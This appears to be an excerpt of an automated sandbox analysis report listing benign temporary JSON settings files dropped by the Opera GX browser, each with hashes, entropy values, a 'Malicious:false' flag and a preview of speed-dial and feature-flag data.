                                                                                                                                                                                                              Preview:// g4lqv8bCBYb/2ppLYmLlm+LoGP+3KzHbXMDY4b9vCqY=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\4580e4b4-f5f5-48fa-822b-e8eba59e4b16.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):11227
                                                                                                                                                                                                              Entropy (8bit):5.047722976425997
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:13D396DA771914D86B4C526C0C600C54
                                                                                                                                                                                                              SHA1:0B1DF8A7866D27E0C7502F8C3F9EB80A601541EF
                                                                                                                                                                                                              SHA-256:E9867F63A188936A34E69025D779F58F796D20703F14E52065499E4E60A71F6C
                                                                                                                                                                                                              SHA-512:B58D296D164666603DAFA935FBCCF93C3C2F252DCBB930CCE4D01D9F5E5E57826C822E1C903E4FC5FF047767AC5B6C5234519E7C45E88A41BA226DE5588E0666
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":128},"autofill":{"last_version_deduped":128},"bookmarks":{"trash_cleaner":{"migration_applied":true}},"browser":{"window_placement":{"height":738,"left":206,"maximized":false,"top":169,"width":960}},"chars":{"next_check":"13373282108094826"},"consent_flow":{"consent_given":false},"default_search_provider":{"synced_guid":"FF57F01A-0718-44B7-8A1F-8B15BC33A50B"},"domain_diversity":{"last_reporting_timestamp":"13373282055163588"},"extensions":{"alerts":{"initialized":true},"chrome_url_overrides":{},"last_opera_version":"128.0.6613.178","pinned_extensions":["igpdmclhhlcpoindmhkhillbfhdgoegm","ompjkhnkeoicimmaehlcmgmpghobbjoj","gojhcdgcpbpfigcaejpfhfegekdgiblk"]},"freedom":{"proxy_switcher":{"automatic_connection_update_applied":true,"forbidden":false,"stat_badge_state":"off"}},"gcm":{"product_category_for_subtypes":"com.operagx.windows"},"gx":{"chroma_e

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\46c57314-020c-4fbe-8a48-16556f304182.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.708067417304169
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5C1DA18C8DCEF178827ED406F48F3EAA
                                                                                                                                                                                                              SHA1:EF8FD0DAFEC85A8207E20C0A409679C4783B1461
                                                                                                                                                                                                              SHA-256:B0CFFB0CD786ABCAF7EA7576E192B64B953A974561BFD4B6F1F19318D1885B7D
                                                                                                                                                                                                              SHA-512:E7A94366F5D040DAE85340AE2064279FD8CB638F484601815CD4BF9283307EF539D5F230AF4288BC98906773A1BB6D4261BFD2CD881FCC1DF4391847049BF966
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// yX9yON8FruiRaDS5jpDpeu4JkuHjoeBX8thG3ZvCAUo=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\4ac216f5-d2e2-44d6-8631-f15560f7215e.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.712250406920117
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:605CEB462D65044C4BBEB11E4A7470B3
                                                                                                                                                                                                              SHA1:750E175D91B91D631C26BAF55D480FA43E601C72
                                                                                                                                                                                                              SHA-256:5CBB3C3D38EFCB9B69311F2D00BC596E5F4C598206646AF5E8793F17B6509387
                                                                                                                                                                                                              SHA-512:8B4BDE1094DBDD40BC7E3175EC578D5493456EC92CD530590EFB48246BC017FC44B1D61B87CACD5618843D87DAFBEB324253575683A0BF9B61FF4DC8F0E690DB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// ceIlrMfxoEU1NUyMdefPSpbq7ZNsGAYSQLjGbQ6KHXY=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\4ca77f31-a1e8-4cdc-ae43-f4e33ef0bdb3.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):250
                                                                                                                                                                                                              Entropy (8bit):5.466435315562526
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:24BF0614A433CF3CCA0C4B45293FF893
                                                                                                                                                                                                              SHA1:23B6FF98519726FC1EB456CA031A76421789AE1E
                                                                                                                                                                                                              SHA-256:488E19D6335B69B8A0595E721F01D84CA0704911CC2674BB7FA0B7642BBFAEF5
                                                                                                                                                                                                              SHA-512:B6E393E93DA946B6ED3C95DA7217D270662520C6195BCBBB177DF40DDB320AD7F9EEA741DEF7E8A49EC2A4EE74BC54368F2709E22C7E78BA01AF5E98CC4D02DB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// 3oetxDsNES7U1zczJxX6HLSWuTOVlbDgYgVqfasgDiQ=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1,"StatSendingRequestsCount":1},"ScheduledTask":{"ScheduledTaskAlreadyRunning":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\4ed9d53c-ceba-400e-8acf-3605bfe61cbf.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\51b9adf4-710e-4b56-a72a-51e535c4ed2c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.707242481272444
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CFF0435B316ED57E3F197F04E9515C35
                                                                                                                                                                                                              SHA1:F12D7EEA1F0C23E5E38B289C43077032B3678B2E
                                                                                                                                                                                                              SHA-256:7C03EE5EDCC787870AFB825C6F7F3E787FFC7D8B4D048CF67F5768D04DE106DA
                                                                                                                                                                                                              SHA-512:0395E0DB1D7496D40CCD15A3D8E5C23C01E78CAAE7B026102933BCA234E5F2A64303889F91079E701FF41204FE4446E4580056AF6DA04CAE7077A29B81244D22
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// BhnEd4zOxwFmwAEtFspQEi6/jrXmsJeGKq308IcDJyI=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":5}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":5}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\521a5adf-1de9-4b27-a827-ee94c8f547ca.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (475)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):523
                                                                                                                                                                                                              Entropy (8bit):5.58122460383875
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F53BE3741729AC440CA64965450AE3B3
                                                                                                                                                                                                              SHA1:B85F2D1509398F2081DD3443C7BE795A03C5CD09
                                                                                                                                                                                                              SHA-256:D24F0F0E6C72E67F2B48822A2E0F0A4B7D122DF02333C3DBDBC83457746CB66A
                                                                                                                                                                                                              SHA-512:5B8194261F71D9A4BBBE97255757FA0866D89E83BE31C252426AC1100D3806CC8600BE47576688B137379BD6227B82D0F0626486339C505945C638999939FCE5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// yYZdvYlengQn1ddjbRCVDhjoH0gI+IOWK4FaZNJymUU=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.twitch.tv/":{"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=":{"Impression":1}}}}},"Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1,"StatSendingRequestsCount":1},"Process":{"Retries":1},"ScheduledTask":{"ScheduledTaskAlreadyRunning":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\5d0f01c9-174d-476a-b04e-4ab49991a8a2.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.711828669629403
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8457FB705A63857480F20C548D0DFFBA
                                                                                                                                                                                                              SHA1:E60297E39C9B9E1A7278FA0907A9003EC4146865
                                                                                                                                                                                                              SHA-256:B925CF8701DA70309AD37EDB9A20D0D99D21E159B974AD509CB8706EF4CF42E3
                                                                                                                                                                                                              SHA-512:47FB4F13D31F6652425AED19DACCB627DF9003ED37448266DB821E19B009712259ABB8AF189DDDA0DD06A146600D072C07372330D09B9B1B8905AB10FE47C126
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// YzPXy/3XsT/joFknJ9oYjcTo4BhUTXzBuZD2y4pR0Ng=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":5}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":5}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":5}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":5}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":5}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":5}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":5}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\5d572830-b26a-499f-8252-be30205220f1.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3088
                                                                                                                                                                                                              Entropy (8bit):5.501998343092664
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:6A711DB133E5506F3FDC92D5357991C8
                                                                                                                                                                                                              SHA1:CADB8A33B2662D86BAE882FBFD52B4142392B89D
                                                                                                                                                                                                              SHA-256:71D3C013F410890CEDAFAF07FC5D5BA4A8D75C087E4A8D0CD50B9042E185F53B
                                                                                                                                                                                                              SHA-512:B6A43108E8A4F1F2E5B5E8798BF609BDEE74AEDFEF1F0886CDE6241158B8A5ED6536428D81E94FD4CDBA9AC5CDDB5CB0C7949968AE38F605272B5AE794E449D2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"ab_testing":{"uid":"MDg2YzBhYTItNDZlZi00YmY4LWJjYzYtNDJkOTE1M2IzMzk1"},"autofill":{"ablation_seed":"uBdDUBAoj8c="},"browser":{"remote_flags":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","remote_flags_char_requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"remote_flags_guid":"4a730dd9-027f-4e80-b7c8-4f65d87b88c5"},"browserjs":{"version":"1712230920"},"chars":{"list":[]},"component_updater":{"media_foundation

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\61862914-ed0a-4746-97f2-29f87c95ec39.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.711957599585816
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9ADF1667DBBC1BCBF28E15A55884CC32
                                                                                                                                                                                                              SHA1:8ED6D4D28A0851067D3C73F84E19690E09A65EF8
                                                                                                                                                                                                              SHA-256:D1D5457DCF3EFF20093F44EB3F83FE673A85BF1D4E8D41B4D1F7F309C5FB1851
                                                                                                                                                                                                              SHA-512:6796C0DF506D878392D2DD13D4C9969959F3C116FFE83F9890B5F7CC10B1D939EAE111D90828B7753FFC8FAD18A50039B4024CEC1D265830D8878CC66618E9CC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// 9UJreZnUIWDSz8vn3K0e32qWtcuH2ItbUIWAw0VyMZA=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":5}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":5}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":5}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\687154f5-c31b-46d8-8007-f252d8c9cfd0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (3241)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3289
                                                                                                                                                                                                              Entropy (8bit):4.959719739393234
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:6A8A3D6B5D604B6A186792D2B1D0707C
                                                                                                                                                                                                              SHA1:6EA6068E66942A616DA85D66ABE0D5439B87D191
                                                                                                                                                                                                              SHA-256:3B3F68EC7DE4004B02DC63F21B7FB83ACC803DA39D1189A3CFC9EA1DBCE58219
                                                                                                                                                                                                              SHA-512:BF682F0FC1BE5014BCC4D5F36E00AE2FED5C4D1B3B302C8B5296390445EC0D3FF2C32AF9E27B924E3AEA4C415E3078FA215942D87739E4C2CBBBFF63BD25A61D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// oIP36QY/IYkXZIBmjQumY4UAVh9cysTZjP9l+cmRPTI=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Extensions":{"ActiveWebstoreExtensionsInfo":{},"TotalCount":0},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-impressions-reporting","run-at-startup-default","sd-suggestions-external","session-restore-attribution","side-profiles","sitecheck-

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\69bc7865-0604-4d71-86e8-b31017fb72d4.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.7509328495551415
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5A8B7186BC6D17990D4DACBE673031EF
                                                                                                                                                                                                              SHA1:DC38E1D1C23DF47EBB9A24DB28A62A6AB56CC4A2
                                                                                                                                                                                                              SHA-256:8ABD2B4FC403BF894E0FE239B52CAA35529A8CBCEE4C68CD9430ABE1A3AC42A3
                                                                                                                                                                                                              SHA-512:DE746DB0C7E9815C5A7A3FA39F165E13831F63E3CB21738FB2FDAA2B787B6354506485D870DE00F9AF2264259425EF1F6E1C57223E8B49A031B2FC4EAD5833A4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// +UrLsOh7iq77gZBmd5sjyd7tdbVa2lqp7aVJyN3afFA=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\6aa5a6b7-2510-4855-bb2b-4e01cd8810d1.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.714251073758923
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E18C16F002A812138C4640DD06B5782B
                                                                                                                                                                                                              SHA1:A3E0A5672526B9E9B5668CFF54F44AA0DF686C8E
                                                                                                                                                                                                              SHA-256:BB54C42ACCD63305AA1184BD8D7EA205DF2FF638B67614B0B966B5962058044B
